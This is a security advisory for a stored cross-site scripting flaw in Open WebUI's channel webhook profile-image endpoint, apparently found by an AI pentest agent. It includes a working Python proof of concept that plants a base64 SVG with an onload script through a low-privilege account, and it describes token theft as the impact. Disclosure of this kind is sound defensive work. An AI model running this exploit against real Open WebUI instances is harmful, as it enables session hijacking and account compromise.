PT-2026-59339 · Pypi · Open-Webui

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.1

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

The channel webhook create/update flow accepts arbitrary profile image url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile image url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

  1. Set up a new instance of Open WebUI and log in as admin
  2. In the Admin Panel, enable Channels (Beta) and click Save
  3. Create a low-privilege user in the Users tab
  4. As the attacker, use the low-privilege user to run the following script:
py
import base64
import secrets

import requests

BASE URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"

CHANNEL NAME PREFIX = "xsswh-poc"
WEBHOOK NAME = "xss-webhook-poc"
SVG CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if  name  == " main ":
  s = requests.Session()
  s.headers.update({"Content-Type": "application/json"})

  r = s.post(
    f"{BASE URL}/api/v1/auths/signin",
    json={"email": EMAIL, "password": PASSWORD},
    timeout=30,
  )
  r.raise for status()
  s.headers["Authorization"] = f"Bearer {r.json()['token']}"

  r = s.post(
    f"{BASE URL}/api/v1/channels/create",
    json={
      "name": f"{CHANNEL NAME PREFIX}-{secrets.token hex(4)}",
      "type": "group",
      "user ids": [],
      "group ids": [],
    },
    timeout=30,
  )
  r.raise for status()
  channel id = r.json()["id"]

  payload = "data:image/svg+xml;base64," + base64.b64encode(SVG CANARY.encode()).decode()
  r = s.post(
    f"{BASE URL}/api/v1/channels/{channel id}/webhooks/create",
    json={"name": WEBHOOK NAME, "profile image url": payload},
    timeout=30,
  )
  r.raise for status()
  webhook id = r.json()["id"]

  print(f"{BASE URL}/api/v1/channels/webhooks/{webhook id}/profile/image")
This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:
image

Impact

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.
Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

Original Agent Report

app aikido dev ai-pentests projects 116389 assessments 019d67d4-81c8-7dd2-bb9e-0a4a774b2c78 issues sidebarIssue=20439766 (5)

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2694

Affected Products

Open-Webui